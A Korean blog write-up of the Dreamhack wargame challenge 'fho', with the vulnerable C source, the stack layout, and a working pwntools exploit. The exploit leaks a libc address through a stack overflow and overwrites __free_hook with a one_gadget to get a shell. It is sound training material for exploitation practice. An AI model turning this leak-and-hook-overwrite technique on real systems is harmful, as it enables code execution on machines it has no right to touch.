[Dreamhack Wargame] fho

don't panic·2024년 2월 8일
0

System Hacking wargame

목록 보기
36/39

code

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}
  • 64bit, Full RELRO, Canary found, NX enabled, PIE enabled
    • addr : [rbp-0x50]
    • value : [rbp-0x48]
    • buf(0x30) : [rbp-0x40]
    • Canary : [rbp-0x8]
  1. libc base를 구하자
  • 로컬과 리모트가 이 부분이 달랐다. 따라서 docker로 열고 제대로 된 ret 주소를 확인했다.

  • main에 break를 걸어놓고 main stack의 return address를 보자

  • __libc_start_main+231로 돌아가는 것을 볼 수 있다.

  • 그러면 buf를 over해서 받아 RET까지 읽도록 하자! buf 0x38, Canary 0x8, SFP 0x8바이트 총 0x48만큼 보내면 ret을 읽을 수 있고, 그 값은 __libc_start_main+231의 진짜 주소이다.

  • 거기서 (libc.symbols[’__libc_start_msin’] + 231)을 빼주면 libc base를 구할 수 있고, system, free_hook, onegadget, /bin/sh 모두 구할 수 있다.

exploit

libc base를 구하고, __free_hookone_gadget으로 바꿨다. 그러면 나중에 free()할 때, one_gadget이 실행될 것이다!!

from pwn import *

p = remote('host3.dreamhack.games', 21219)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
og = [0x4f3d5, 0x4f432, 0x10a41c]

buf = b'A' * 0x48
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
lb = leak - libc.symbols['__libc_start_main'] - 231

free_hook = lb + libc.symbols['__free_hook']
p.sendlineafter(b': ', str(free_hook).encode())
one_gadget = lb + og[1]
p.sendlineafter(b': ', str(one_gadget).encode())

p.sendlineafter(b': ', b'0')
p.interactive()

0개의 댓글